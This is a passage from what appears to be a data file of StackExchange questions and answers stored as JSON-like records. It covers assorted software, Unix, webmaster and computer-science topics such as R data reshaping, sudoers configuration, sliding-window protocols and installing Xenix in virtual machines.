example.ReferencesKlayman, J., & Ha, Y. (1987). Confirmation, disconfirmation, and information in hypothesis testing. Psychological Review, 94, 211228. doi:10.1037/0033-295X.94.2.211"  } 
{  "id": "_webapps.69263"  , "question": "I've been using Trello for quite a while and love the project-/board-based approach to task management.  However, my lifestyle has made it necessary to make use of context-based task filtering so that when I find time at home after work to do some things I can quickly see what I have that needs to be done at home, for example.I thought I could use labels for this purpose, which seemed to work okay searching across multiple boards, but since some of my boards are used by teams that actually make use of labels themselves, that didn't seem like a good solution; there was label pollution, if you will.  I was thinking I could also just come up with my own keywords to put in the description, like context--home, context--work.  Whatever the solution is, it needs to work at least as well on Android as it does on a desktop browser.  I guess that rules out a search-based solution though as Android search isn't really implemented yet.Any other ideas?  Maybe integration with another Android app?"  , "title": "How can I use Trello with contexts, as with GTD?"  , "tags": "trello"  } 
{  "id": "_datascience.3742"  , "question": "I've been working in SAS for a few years but as my time as a student with a no-cost-to-me license comes to an end, I want to learn R.Is it possible to transpose a data set so that all the observations for a single ID are on the same line?  (I have 2-8 observations per unique individual but they are currently arranged vertically rather than horizontally.)  In SAS, I had been using PROC SQL and PROC TRANSPOSE depending on my analysis aims.Example:ID    date        timeframe  fruit_amt   veg_amt <br/> 4352  05/23/2013  before     0.25        0.75 <br/> 5002  05/24/2014  after      0.06        0.25 <br/> 4352  04/16/2014  after      0           0 <br/> 4352  05/23/2013  after      0.06        0.25 <br/> 5002  05/24/2014  before     0.75        0.25 <br/>Desired:ID    B_fr05/23/2013   B_veg05/23/2013  A_fr05/23/2013  A_veg05/23/2013   B_fr05/24/2014   B_veg05/24/2014   (etc)  <br/>4352  0.25             0.75             0.06            0.25              .                .  <br/>5002  .                .                .               .                 0.75             0.25 <br/>"  , "title": "Data transposition code in R"  , "tags": "data mining;r;dataset;beginner"  , "accepted_answer": "You can use the reshape2 package for this task.First, transform the data to the long format with melt:library(reshape2)dat_m <- melt(dat, measure.vars = c(fruit_amt, veg_amt))where dat is the name of your data frame.Second, cast to the wide format:dcast(dat_m, ID ~ timeframe + variable + date)The result:    ID after_fruit_amt_04/16/2014 after_fruit_amt_05/23/2013 after_fruit_amt_05/24/2014 after_veg_amt_04/16/20141 4352                          0                       0.06                         NA                        02 5002                         NA                         NA                       0.06                       NA  after_veg_amt_05/23/2013 after_veg_amt_05/24/2014 before_fruit_amt_05/23/2013 before_fruit_amt_05/24/20141                     0.25                       NA                        0.25                          NA2                       NA                     0.25                          NA                        0.75  before_veg_amt_05/23/2013 before_veg_amt_05/24/20141                      0.75                        NA2                        NA                      0.25> "  } 
{  "id": "_softwareengineering.337018"  , "question": "So at a high level my use case is as follows - I periodically (every 24 hours) get a very large file (size can vary  from MBs to 10s of GBs) which I need to process within 24 hours. The  processing involves reading a record, apply some Business Logic and  updating a database with the record.Current solution is a single threaded version which initially reads the entire file in memory, that is, it reads each line and constructs a POJO. So essentially it creates a big ListIt then iterates on the List and applies business logic on each Pojo and saves them in databaseThis works for small files with less than 10 million records. But as the systems are scaling we are getting more load, i.e. larger files (with >100 million records occasionally). In this scenario we see timeouts, that is we are unable to process the entire file within 24 hoursSo I am planning to add some concurrency here.A simple solution would be-Read entire file in memory (create POJOs for each record, as we are doing currently) or read each record one by one and create POJOSpawn threads to concurrently process these POJOs.This solution seems simple, the only downside I see is that the file parsing might take time since it is single threaded (RAM is not a concern, I use a quite big EC2 instance).Another solution would be to - Somehow break the file into multiple sub-filesProcess each file in parallelThis seems slightly complicated since I would have to break the file up into multiple smaller files.Any inputs on suggestions here on the approaches would be welcomed."  , "title": "Java - Processing a large file concurrently"  , "tags": "java;concurrency;file handling"  , "accepted_answer": "The most likely efficient way to do this is:Have a single thread that reads the input file. Harddisks are at their fastest when reading sequentially.Do not read it into memory all at once! That is a huge waste of memory which could be used much better to speed the processing!Instead, have this single thread read a bundle of entries (maybe 100, maybe 1000, this is a tuning parameter) at once and submit them to a thread to process. If each line represents a record, the reading thread can defer all the parsing (other than looking for newlines) to the processing threads. But even if not, it is very unlikely that the parsing of records is your bottleneck. Do the thread handling through a fixed size thread pool, choose the size to be the number of CPU cores on the machine, or maybe a bit more.If your database is an SQL database, make sure the individual threads access the database through a connection pool and do all their DB updates for one bundle of entries in a single transaction and using batch inserts.You might want to use Spring Batch for this, as it will guide you towards doing the right thing. But it is somewhat overengineered and hard to use.Keep in mind that all of this might still be futile if the DB becomes your bottleneck, which it very easily can be - SQL databases are notoriously bad at dealing with concurrent updates, and it might require quite a but of finetuning to avoid lock contention and deadlocks."  } 
{  "id": "_unix.158504"  , "question": "When reading answers to this post, I wonder if we can make the programs we often used on our computers portable (in the Windows sense), so that we can make a copy of them on our flash drive, so that we don't have to worry if we don't have access to the programs we like on other computers? Is it possible to make such portable installations?"  , "title": "Installing programs on a flash drive so that they can be executed in place"  , "tags": "software installation"  } 
{  "id": "_webmaster.72084"  , "question": "There are a few things that come into this question that's based around Google+ reviews (formerly Google places).I have always been advised to get as many reviews as possible on my Google+ business page in order to improve rankings. The idea is that the more positive reviews you have, the higher you will be shown in the results. How important does Google consider these reviews when ranking local businesses?The next part of this question is based on the likelihood of Google using these in the future. I have already noticed the change from places to Google+ and recently I have noticed that when I search the exact business name, the details on the right hand side (small map, photos, opening hours etc.) have seem to had been removed. Does this suggest a possible change?The last part of this question is based around reviews as a bigger picture. Should I look to gain reviews with just Google, or would I be better off using several review sites (directory listings etc. all see to have reviews now).I have always been faced with a difficult question. I have the opportunity to send my clients somewhere to leave a review, so where should I send them? There are so many sites now that offer reviews."  , "title": "How important are Google+ reviews when ranking a website?"  , "tags": "google;google search;ranking"  } 
{  "id": "_cs.62647"  , "question": "Before I ask my doubt I would like to state that problem which led me to my doubt. It can also serve as a good example scenario.A $20\\ Kbps$ satellite link has a propagation delay of $400\\ ms$. The transmitter employs the Sliding Window protocol scheme with Window Size set to $10$. Assuming that each frame is $100$ bytes long. What is the link utilization of transmission medium.From the question we can make out that Window Size $(WS)$ is $10$, transmission time $(T_t)$ of a frame is $40\\ ms$ , and propogation time $(T_p)$ is $400\\ ms$.Now, the solution that book proposes simply states that Link Utilization $(LU)$ for sliding window protocol can be calculated as$$LU = \\frac{WS*T_t}{T_t + 2*T_p}$$That's where I'm facing the problem. From what I have learned about Link utilizationIt is the fraction of total time the host was busy in transmission of data. In other words, it is the ratio of total transmission time over Total Time involved in transmission.Now if I try to fit the formula proposed in book with what I have learned, the total time involved in transmission is $T_t+2*T_p$.  But that is only the total transmission time of one single packet over the medium. Why isn't it is $WS*T_t + 2*T_p$, since we are sending $WS$ packets without wating for acknowledgement.The only thing I could figure out after thinking a lot about my doubt is that I am probably going wrong because of my incomplete understanding of what Link Utilization means.I will appriciate any kind of help."  , "title": "Link utilization of sliding window protocol"  , "tags": "computer networks;communication protocols"  , "accepted_answer": "I had the same doubt and was getting nowhere close to grasp the concept. After banging my head for a few days I now think I have understood the basic concept. We define utilization as the total time used by the link to send good data divided by the total time link is engaged. In stop and wait, we send one frame and do nothing good unless we receive an acknowledgment this presents a low utilization.Total time link is used is :ttransmission + 2* tproptotal time link is used for sending good data : ttransmissionConsider the sliding window now we send one frame and instead of waiting for the acknowledgment we continue transferring frames until the acknowledgment arrives. The total time for the link remains the same however, we have increased the good time to:WindowSize * ttransmission.Why isn't the total time : WSxttransmission + 2* tprop ?We have sent all the additional frames between the time frame of sending the first frame and receiving the first acknowledgment.This time frame is equal to :ttransmission + 2* tprop and not WSxttransmission + 2* tpropWe have just increased the fraction of this total time from :ttransmission. to WindowSize * ttransmission.Here is a Linkconsider the figure 7.11 in the same. It beautifully illustrates the concept. I wasn't sure of posting the picture due to copyright issues.Cheers!"  } 
{  "id": "_softwareengineering.322409"  , "question": "I've been asked to write a mobile app for a business I have connections with, and I've been trying to decide what I should charge. One thing I came up with was to research what other companies would charge for such a service, but all the ones that have the 'online estimators' are really over-the-top expensive and the companies obviously don't cater for the same clientele as I do.I found a company that does, and they offer free quotes, however I'm wondering if it would be unethical to ask them for a quote in this scenario given that I do not intend to use their services, therefore effectively wasting their time. Is this unethical, or otherwise frowned upon?"  , "title": "Is it unethical to figure out how much to charge by asking for a quote from another company?"  , "tags": "ethics;app;development"  , "accepted_answer": "Yes its unethical, you are wasting their time.But its also impractical.You can only do it once or twice before they stop talking to you.The price they offer will reflect their business model and might notwork for you. Ie they might sell stuff cheap to drag customers intoanother productThe price they offer you wont be the same as the one they offer yourpotential customer. Even if the service is very comoditised theprice will reflect how much they think they can get out of thecustomer.Of course you have to research your market, but you are better off being fairly honest about it. Attend some events, ask people what they think of the market at the moment, buy them a drink, is everyone buying cheap stuff? Are people paying lots for custom things etc how much did they buy their last X for? do they think it was good value? EtcIn your particular case though it should be fairly easy. Estimate how long it will take and then check out the job boards to see how much it would cost to get a contractor with your skill set for that amount of time. Add a bit on if you are assuming any risk"  } 
{  "id": "_softwareengineering.274456"  , "question": "There is a lot I don't like about PHP, but one thing I love is multi-line strings:$query = <<<EOTselect     field1    ,field2    ,field3from tableNamewhere    field1 = 123EOT;What's cool about this, is that I can just copy SQL, that I've hand formatted (to my liking) from a querying tool (like dbeaver), and paste it (with formatting and all) directly into a php script, without worry about how line-breaks might corrupt the script.There's a lot I love about Javascript, but there doesn't seem to be a reliable equivalent that would allow you to copy and paste a pre-formatted SQL statement into a variable-value (with this same ease -- and preserving the formatting).I'm currently working on some small node.js projects and I'm very much missing this php feature.The only think I can think to do, is to put my queries into a plain text file and import the formatted query from a file into the variable value. Then, later, when I need to modify the query, I can copy and paste to that file (pre-formatted) and then the script will just load my modifications next run.However, sometimes I need certain parts of the query to be dynamical generated. In PHP, I could put variables into the multi-line string for such requirements. With this separate file idea (in Javascript), it seems more complicated; I'd have to make custom place-holders in the plain text file that are to be replace by the main script later. That seems like I might be reinventing a wheel that is already made. So that's why I'm posting here for advice.I've read other post that have hacks for doing this type of thing in-script, but each solution doesn't match the ease and reliability of php's built-in support for such requirements."  , "title": "Preserving Pre-formatted Multi-Line Strings in Node.js Scripts"  , "tags": "php;javascript;sql;node.js"  } 
{  "id": "_softwareengineering.66864"  , "question": "If you were putting some work of yours online (say, a research project still in development or something alike) and it had to be made available to the public, but you wished that if someone uses it, he has to acknowledge the original author (i.e. you don't want anyone pushing your research as their own) what would be a good licence to use?In other words, you wish to protect your own work which, were it not for some rules, would  never been actually made public."  , "title": "Choosing a restrictive licence for open source work"  , "tags": "licensing"  } 
{  "id": "_unix.156329"  , "question": "In this answer user suggests that Normally, Uninterruptible sleep should not last long, but as under windows, broken drivers or broken userpace programs (vfork without exec) can end up sleeping in D forever.How can userspace program really lock up in D on non-buggy kernel? I though it's sort of little vulnerability for usermode to be able to stuck in D on purpose..."  , "title": "How can process doing vfork without exec end up in a long uninterruptible sleep?"  , "tags": "linux;process;vfork"  , "accepted_answer": "When a process calls vfork, the parent remains in state D as long as the child hasn't executed _exit or execve (the only two authorized functions, together with execve's relatives like execvp, etc.). The parent is still executing the vfork call, so it's in state D.If the child does something like this (which is stupid, but valid), the parent will remain in state D indefinitely, while the child will remain in state R indefinitely.if (!vfork()) while (1) {}"  } 
{  "id": "_unix.342511"  , "question": "I have an old computer which I'd very much like to be able to use with my modern Gmail and iCloud email accounts.  The old computer can do IMAP, POP and SMTP - but it can't do SSL (hence the need for an intermediary). I can hear the objections already - if you have a new computer, why would you want to use your old one?  I'm afraid to say that the answer is 'I just do!' One of my newer computers, the one that's on all the time, is a Raspberry Pi running Raspbian (a Debian Linux fork).  So my question is, is there any software available which can be set up easily and which will act as a mail server for my old computer?  It should handle the secure sign in to my email accounts, and then serve that email (Preferably IMAP, but POP is okay too) so that my old computer can retrieve it.Conversely, when email is sent from my old computer the software should then forward it on to iCloud or Gmail (or whatever).I've tried using stunnel, but I can't get it to work for me.  Any suggestions will be eagerly received - and I'm sure that I'm not the only person who'd be interested!"  , "title": "Mail Server for Linux which can forward Gmail"  , "tags": "email;raspbian;ssl"  } 
{  "id": "_softwareengineering.76214"  , "question": "I have a turbogears app that I am bringing live that uses a postgresql DB on the back end. From a performance issue am I better off having the DB and app on separate server or on the same server? If on the same server and I better off having the DB on a separate physical drive? "  , "title": "Webserver / DB / Application - Best way to setup the system for performance"  , "tags": "web applications;hardware"  , "accepted_answer": "For the vast majority of apps, its really not going to matter much where you put the database because the web server isnt likely to ever be pushed to the point where its noticably impacting database performance (or the other way around).I would recommend keeping it simple and keeping the db on the webserver unless you already know you are going to face a lot of traffic.  You can always move the db to a second server (or start replicating to an additional server) as needed.One particular arrangement I use is to have the main db on the webserver, but to have a replicated copy on a second server.  Reporting and similar intensive/not-real-time queries are performed against the replicated copy, but everything else is done against the main db.  This prevents any 'runaway' queries done in reports from impacting the main server.  But again, this really on helps when there's enough traffic in the first place to make it an issue."  } 
{  "id": "_unix.126269"  , "question": "I am trying to setup my server so that I can restart Apache as userx without having to enter a sudo password.  However when I logon as userx and run sudo /usr/sbin/service apache2 restart it asks me for a password.  What have I got wrong?Below is the content of my sudoers file.## This file MUST be edited with the 'visudo' command as root.## Please consider adding local content in /etc/sudoers.d/ instead of# directly modifying this file.## See the man page for details on how to write a sudoers file.#Defaults        env_resetDefaults        secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin# Host alias specification# User alias specificationuserx ALL=(root) NOPASSWD: /usr/sbin/service apache2 restart# Cmnd alias specification# User privilege specificationroot    ALL=(ALL:ALL) ALL# Members of the admin group may gain root privileges%admin ALL=(ALL) ALL# Allow members of group sudo to execute any command%sudo   ALL=(ALL:ALL) ALL# See sudoers(5) for more information on #include directives:#includedir /etc/sudoers.dLet me add back in my edit where I point out what the answer was and explain where I found the solution in case other people stubmle across this.Turns out that userx was a member of the admin group and the %admin group entry was overwriting the settings. Moving the userx line below the %admin line solved the problem.This answer also helped How to run a specific program as root without a password prompt?"  , "title": "Passwordless sudo not working"  , "tags": "sudo"  } 
{  "id": "_webapps.23463"  , "question": "When using wiki syntax, if I put an asterisk (*) at the beginning of a line, it gets transformed into a unordered list. How is it possible to have the asterisk to remain as it is when at the beginning of a line?Example :*Hello world, this sentence is not in an unordered list."  , "title": "How do I write an asterisk at the beginning of a line in wiki syntax without transforming into a list item?"  , "tags": "mediawiki;markdown;syntax"  , "accepted_answer": "I think a better method is to use the 'nowiki' tag. This is generic and does not rely on knowing character codes, plus your text is more readable.    <nowiki>*</nowiki> will display as an asterisk at the start of the sentence.http://www.mediawiki.org/wiki/Help:FormattingNow you can display any special characters you like!"  } 
{  "id": "_unix.332832"  , "question": "i got this snippet from a shell script , it run perfectly in Solaris environment grep -h '??.*??' $1/{CT,{MYDIR{85,97}}{,_E}}/R*txtbut when i try to run shell script in ubuntu , it gives following errorgrep: ./{MYDIR85}/R*txt: No such file or directorygrep: ./{MYDIR85}_E/R*txt: No such file or directoryafter little bit of editing it run properly, i removed curly braces of MYDIR grep -h '??.*??' $1/{CT,MYDIR{85,97} {,_E}}  /R*txtI want to know what is the problem , is it command incompatibility between linux and solaris ?Note -i have three directory MYDIR85 , MYDIR97 and CT     - in ubuntu , shell is   /bin/bash     - in solaris i don't know the shell type,but the first line of shell     script is #!/bin/bash"  , "title": "command difference in Solaris and linux shell"  , "tags": "ubuntu;solaris"  } 
{  "id": "_codereview.35247"  , "question": "I'm wondering what people think about Dependency Injection vs Service Locator patterns. Specifically I'm using Prism with MEF. I'm also using the MVVM pattern.So I have a service which I export. I also have a class which doesn't export its class type as I don't need that to be registered with MEF. This class is actually a View-Model which is assigned to a hierarchical data template inside a TreeView. However the view-model needs to import an interface registered with MEF. Now I have three possible ways to do this:Set an [Import] on the interface and use ComposeParts in the constructor to inject the dependency.Use SerivceLocator.Current pattern to get the instance of the service.Pass in the service interface on the constructor, which is kind of a manual dependency injection.Here some example code to demonstrate.public interface IFooService{}[Export(typeof(IFooService))][PartCreationPolicy(CreationPolicy.Shared)]class FooSevice : IFooService{}Then the three possible implementation of the View-Model are:public class TreeItemVM_MefInjection{    [Import]    public IFooService FooService { get; set; }    public TreeItemVM_MefInjection()    {        var catalog = new AssemblyCatalog          (System.Reflection.Assembly.GetExecutingAssembly());        var container = new CompositionContainer(catalog);        container.ComposeParts(this);    }}public class TreeItemVM_ServiceLocator{    [Import]    public IFooService FooService { get; set; }    public TreeItemVM_ServiceLocator()    {        FooService = ServiceLocator.Current.GetInstance<IFooService>();    }}public class TreeItemVM_ManualInjection{    public IFooService FooService { get; set; }    public TreeItemVM_ManualInjection(IFooService fooService)    {        FooService = fooService;    }}Each of the tree-view items actually has an ObservableCollection as the tree is hierarchical. Each ViewModel can create it's own children, based on the model data it uses (this is not shown in the above examples just to keep them simple).So my issues with each of these are:It seems a lot of code to write to get automatic injection and I'm worried about the performance of creating a catalog and container temporarily. Is this OK to do it like this?The service locator seems easier but I've read that the service locator is an anti-pattern. Should I be concerned with this?The last one will give better performance as each instance just passes the IFooService interface on the constructor, and can pass it down to it's children when they are instantiated. However if I want to add more dependency injection latter on I need to change the constructor so maybe automatic injection or service locator maybe better.So what would people say is the best method? Is there is a defined best practices method to follow? Are all the methods valid is it is up to the company coding standards to define the pattern to use?Obviously the TreeItems are just normally instanced with new. I don't want these to be exported to MEF as that is overkill and nothing outside of the class library needs to know about them. They are just normal class that need to have MEF dependency injection or find MEF registered interfaces.Anyone have an opinion on the most desirable solution and any gotchas I should be aware of? I'm sure there are other possible solutions to this as well. Any info would be appreciated."  , "title": "Looking for advice - Dependency Injection over Service Locator in Mef"  , "tags": "c#;dependency injection"  } 
{  "id": "_softwareengineering.344619"  , "question": "I have a running service whose logs are written in realtime to a Log Aggregator (this includes exception logging at runtime). The service also collects stats on the data processing it performs and sending those to a dashboard. In order to collect stats on exceptions and make them available for analysis, should that be done:At the level of the log aggregator which is seeing the runtime exceptions?At the level of my running service since it is collection processing stats?What are best practices?"  , "title": "Stats on exceptions: log aggregator or processing application"  , "tags": "performance;exceptions;logging"  } 
{  "id": "_unix.197339"  , "question": "I have two files.file1:Dave 734.838.9800  Bob 313.123.4567  Carol 248.344.5576  Mary 313.449.1390  Ted 248.496.2204  Alice 616.556.4458   file2:Bob Tuesday  Carol Monday  Ted Sunday   Alice Wednesday  Dave Thursday    Mary Saturday  I merged the two files.file3 should look like this:Name      On-Call     Phone  Carol     MONDAY      248.344.5576  Bob       TUESDAY     313.123.4567  Alice     WEDNESDAY   616.556.4458  Dave      THURSDAY    734.838.9800  Nobody    FRIDAY      634.296.3356  Mary      SATURDAY    313.449.1390  Ted       SUNDAY      248.496.2204  But I cannot get the weekdays to be in order. How do I go about doing that?"  , "title": "how to sort by the day of the week?"  , "tags": "shell;text processing;date;sort"  } 
{  "id": "_unix.366048"  , "question": "I am trying to install Xenix 386 and/or SCO V Unix in a VM for historical/research/reviving old times/curiosity purposes.I have already tried to download a couple of media installation images from here.Tried to boot them several time to install the OS, still without much success; up until nowI already tried with VmWare fusion in OS/X:selecting a 32-bit VMdisabling sound cards and USB, to limit the potential interfence of unknown hardware to those OSesgiving it just a couple megabytes of RAMLimiting the virtual disk to the known limit of < 250MBtesting IDE and SCSI disk emulation.Both in Xenix and SCO V, the installation diskette (N1) seems to boot, however either the hard disk is not recognised, or the installation hangs with the message:Setting up disk environmentWhat to do?"  , "title": "Xenix / SCO V running in contemporary machines as VMs"  , "tags": "osx;virtual machine;sco;vmware fusion;xenix"  , "accepted_answer": "I encountered a very interested of couple of articles about a bug, post1 and post2 in the installation/disk driver that explained why it did not run in many hardware platforms over the years. The link, besides explaining the bug, also points out VirtualBox seems to emulate the behaviour and is able to boot those operating systems.So I installed Virtualbox. While it did not recognise an emulated SCSI disk, it recognised an emulated IDE disk < 250MB and got indeed into the installation phase.Setting up installation environment...%disk     0x1F0-01F7 14         -        type=W0 unit=0 cyls=734 hds=16 secs=31Welcome to the SCO Unix installation.Installation media used will be Compact Disc (CD-ROM)Hit return to continue...so I grabbed QEMU, and popped N1 in and booted it up. Unfortunately,  the system would hang almost immediately after. Some testing revealed  that the same issue existed on Bochs. PCjs got a bit further, but  kernel panicked nearly immediately. Somewhat surprising to me though  was VirtualBox not only booted, it got to the first step of the  installer.The OS is extremely picky about the hardware and BIOS and wont boot  at all in many virtualizers. It also contains an interesting bug in  the AT disk driver (called wd1010 in this XENIX kernel version)  which causes the system to hang if the controller, or more likely an  IDE disk, responds too fast to the Set Drive Parameters command.P.S. There seems to be hints people managed to hack/patch the bug out. There is no documentation about that, and the process should be specific to the hacked versions."  } 
{  "id": "_softwareengineering.355357"  , "question": "I have to design an application where there are around 5K structured base text files (file.txt) with data and format as below:Primary key is OrgId + ItemIdOgId|^|ItemId|^|segmentId|^|Sequence|^|Action|!|4295877341|^|136|^|4|^|1|^|I|!|4295877346|^|136|^|4|^|1|^|I|!|4295877341|^|138|^|2|^|1|^|I|!|4295877341|^|141|^|4|^|1|^|I|!|4295877341|^|143|^|2|^|1|^|I|!|4295877341|^|145|^|14|^|1|^|I|!|I have incremental update file1.txt which will have same Primary Key information with updated column (the number of columns may differ from the base file format), if Primary Key info is not found in base file then its treated as new entry. e.g  Primary key is OrgId + ItemIdFormat 1 for Insert  OgId|^|ItemId|^|segmentId|5295877341|^|136|^|4|^|1|^|I|!|5295877341|^|141|^|2|^|1|^|I|!|Format 2 for Update -    OgId|^|ItemId|^|segmentId|^|Sequence|    4295877341|^|136|^|5|^|2|    OgId|^|ItemId|^|segmentId    4295877346|^|136|^|2|Format 3 for Delete- OgId|^|ItemId|^|segmentId|^|Sequence4295877341|^|145|^|14|^|1|The Final Output is like this .OgId|^|ItemId|^|segmentId|^|Sequence|^|Action|!|5295877341|^|136|^|4|^|1|^|I|!|5295877341|^|141|^|2|^|1|^|I|!|4295877341|^|136|^|5|^|2|^|I|!|4295877346|^|136|^|2|^|1|^|I|!|4295877341|^|138|^|2|^|1|^|I|!|4295877341|^|141|^|4|^|1|^|I|!|4295877341|^|143|^|2|^|1|^|I|!|4295877341|^|145|^||^||^|I|!|I want to use AWS or HADOOP/bigdata but I cannot use Hbase.The size of the base file varies from 5KB to 50GB and size of the incremental file varies from 10 MB to 2 GB.There is a catch, where incremental insert/update/delete of files has to processed in same order as it arrives."  , "title": "Non HBase solution for huge data that has update and delete in sequential manner"  , "tags": "nosql;big data;aws;hadoop"  } 
{  "id": "_webapps.19353"  , "question": "Up until last week, Google used to place a blue arrow on the first search result. Using the arrow keys, one could select different results. Finally, pressing enter would enter into the selected result. For the past few days, these keyboard shortcuts are no longer there. How do I re-enable them? I search on Google every 10 minutes and can't afford to waste 2 seconds each time pointing my mouse at the desired link."  , "title": "Can't use enter key shortcut on Google search results anymore"  , "tags": "google"  , "accepted_answer": "This seems to have changed recently. From Google help:Shortcuts for navigating through resultsEnter then Tab will select the first result. See the little arrow appear next to the result youve highlighted. Press Enter to open the first webpage or use the up arrow and down arrow to select other results.So basically, you enter your query, press Enter, and then use the Tab key to show the arrows."  } 
{  "id": "_unix.136266"  , "question": "I have built a home-grown Linux distribution, and I can make the complete disk image file as a non-root user with one exception -- installing the boot loader.  I'm using syslinux (actually extlinux), and to install it I have to loop-back mount the boot partition, which requires root/sudo privileges.  The commands are run from a makefile, and the variable names should clearly indicate what to replace them with.sudo losetup -o $(BOOT_FS_PARTITION_OFFSET) $(LOOP_DEVICE) $(IMAGE_FILE_NAME)sudo mount $(LOOP_DEVICE) $(LOOP_MOUNT_POINT)sudo $(EXTLINUX) -S $(DISK_SECTORS) -H $(DISK_HEADS) -i $(LOOP_MOUNT_POINT)sudo umount $(LOOP_MOUNT_POINT)sudo losetup -d $(LOOP_DEVICE)Is there a way to write syslinux or extlinux to the disk image file without requiring root privileges?"  , "title": "How do I install syslinux/extlinux to a disk image file without requiring root privileges"  , "tags": "system installation;not root user;syslinux;disk image"  , "accepted_answer": "This is possible for syslinux:syslinux ~/floppy.imaThe syslinux installer contains enough magic to be run on an unmounted filesystem. (In fact, it is designed to do that.) The extlinux installer expects to be run on a mounted filesystem, though.It is almost certainly possible to split off the extlinux installer into a part that copies the files (something like mtools for FAT, which is rare but appears to exist, although one could just integrate them directly with genext2fs), and a part that installs the bootsector (I might be able to cobble this together).I did something like this for GRUB 2, which installs into the space between the MBR and the first partition, for Grml; this was actually easier to do because GRUB, unlike SYSLINUX, does not require as much from the bootsector. It basically depends on your broader requirements. If the above part about SYSLINUX does not help you, contact me, so we can work something out."  } 
{  "id": "_webmaster.7364"  , "question": "sorry for bad english.if renewing cz.cc free domain is free then what do mean renewing domain after two years?(why we should renew for free service when it is free?)"  , "title": "what do mean renewal domain for free service?"  , "tags": "domains;free"  } 
{  "id": "_webmaster.24612"  , "question": "I'm building a website at the moment that has several complicated background images and repeats. The file sizes for each of the images are quite large (I've compressed them down as much as possible!), is there an online tool that I can use to measure the filesize of a page?"  , "title": "How can I measure the size of a webpage?"  , "tags": "images;compression;file size"  , "accepted_answer": "Download Firebug and install Google's Page Speed plugin and or Yahoo!'s YSlow plugin both of these will help you optimise around the background image.Also read Yahoo's Best Practices for Speeding Up Your Website"  } 
{  "id": "_unix.64025"  , "question": "I'm trying to piece together the names of the people who contributed to BSD Unix, according to the contents of the SCCS logs.  (This is the version control system used at the time.) A number of names appear in a list created by Jonathan Gray, but 72 are still missing.  To keep this process organized, I will create a community wiki answer with the list of the unknown contributors.  Please add the names beside each identifier."  , "title": "Who are these BSD Unix contributors?"  , "tags": "history;bsd"  } 
{  "id": "_webmaster.28137"  , "question": "I'm looking for something like Smush.it or PunyPNG that works offline, preferably via command line interface that does gifs, jpegs and pngs.Any suggestions?"  , "title": "Offline lossless image shrinking"  , "tags": "looking for a script;images;compression"  , "accepted_answer": "PNGCrush is the first that comes to mind.Trimage is a bit more comprehensive as far as toolset, and has a GUI also."  } 
{  "id": "_cs.29230"  , "question": "How we calculate the answer of following recurrence?$$T(n)=4T\\left(\\frac{\\sqrt{n}}{3}\\right)+ \\log^2n\\,.$$Any nice solution would be highly appreciated.My solution is to substitute $n=3^m$, giving$$T(3^m)=4T\\left(\\frac{3^{m/2}}{3}\\right)+\\log^2 3^m = F(m)=4F((m/2)-1)+m^2=O(m^2logm)= O(\\log^2 n \\log n \\log n)\\,.$$"  , "title": "Solve Recurrence Equation Problem"  , "tags": "recurrence relation"  } 
{  "id": "_hardwarecs.6346"  , "question": "What motherboard from the Asus z170 chipset line offers the most set of features? I did some research and it looks like the z170-a is the one but I could be wrong. I'd like to have a motherboard that offers the most features even if I won't necessarily need them. I just like to have the most possible options.Here are a few things I would hope to include but don't let that affect your answer:USB 3.1, type a and cPossibility to do SLI in the futureSome things that I plan to do with the system are:Everyday usageGamingWeb development and running WAMP server for developmentMedia server using PlexPhotoshopI already plan on buying a GTX 1070 graphics card so I can play games on the highest graphics settings possible."  , "title": "Asus motherboard in the $50-$150 range"  , "tags": "gaming;motherboard"  , "accepted_answer": "I would probably go with this one:  ASUS Z170-EThese points jump out, at least at me:DDR4 memory overclocked to 3466MHz(max compatible speed) Onboard USB 3.1 Gen 2 for 10Gbit/s data transfer speedsLightning-fast M.2 with PCIe 3.0 x4 interface "  } 
{  "id": "_unix.241636"  , "question": "Why does the following not output hello line?watch bash -c 'echo hello'As this one?watch 'echo hello'I expected to have echo write to bash output directly and this to be read by watch and formatted to terminal. Does bash -c not use stdout?"  , "title": "Watch not showing subshell output"  , "tags": "watch;streams"  } 
{  "id": "_unix.110677"  , "question": "I know someone who'd really like to be able to type with only the left hand, so I had the idea of writing a layout which switches the sides of the keyboard when the caps lock key is pressed.For example, in the QWERTY layout, the qwerty keys would be remapped to uiop[].I wrote the following xmodmaprc (caps lock line at the bottom):keycode 24 = q Q u Ukeycode 25 = w W i Ikeycode 26 = e E o Okeycode 27 = r R p Pkeycode 28 = t T bracketleft braceleftkeycode 29 = y Y bracketright bracerightkeycode 30 = u U q Qkeycode 31 = i I w Wkeycode 32 = o O e Ekeycode 33 = p P r Rkeycode 34 = bracketleft braceleft t Tkeycode 35 = bracketright braceright y Ykeycode 38 = a A j Jkeycode 39 = s S k Kkeycode 40 = d D l Lkeycode 41 = f F semicolon colonkeycode 42 = g G apostrophe quotedblkeycode 43 = h H Return Returnkeycode 44 = j J a Akeycode 45 = k K s Skeycode 46 = l L d Dkeycode 47 = semicolon colon f Fkeycode 48 = apostrophe quotedbl g Gkeycode 36 = Return Return h Hkeycode 52 = z Z n Nkeycode 53 = x X m Mkeycode 54 = c C comma lesskeycode 55 = v V period greaterkeycode 56 = b B slash questionkeycode 57 = n N z Zkeycode 58 = m M x Xkeycode 59 = comma less c Ckeycode 60 = period greater v Vkeycode 61 = slash question b Bkeysym Caps_Lock = Mode_switchHowever, this only works when holding the Caps Lock key, and doesn't toggle the mode by tapping it.Am I missing something simple, or am I trying to solve this issue the wrong way?"  , "title": "Writing single-handed layouts for X"  , "tags": "xorg;x11;keyboard;keyboard layout"  } 
{  "id": "_softwareengineering.36513"  , "question": "For example, the templates provided on the Open Source Initiative website for the 3-clause BSD License, and the MIT License both include an all-caps warranty disclaimer, though the rest of the license is written with normal capitalisation.Is there some genuine reason for this? Or is it just a tradition to make the warranty disclaimer harder to read?"  , "title": "Why is the warranty disclaimer section of a licence usually (always?) shouted?"  , "tags": "licensing"  , "accepted_answer": "Most legal jurisdictions in the US mandate that warranty information in a contract must be conspicuous. Since source code is plain text, I suppose it was decided at some point that the best way to make text conspicuous was to capitalize it, and the precedent stuck.Simple answer: it's required by law."  } 
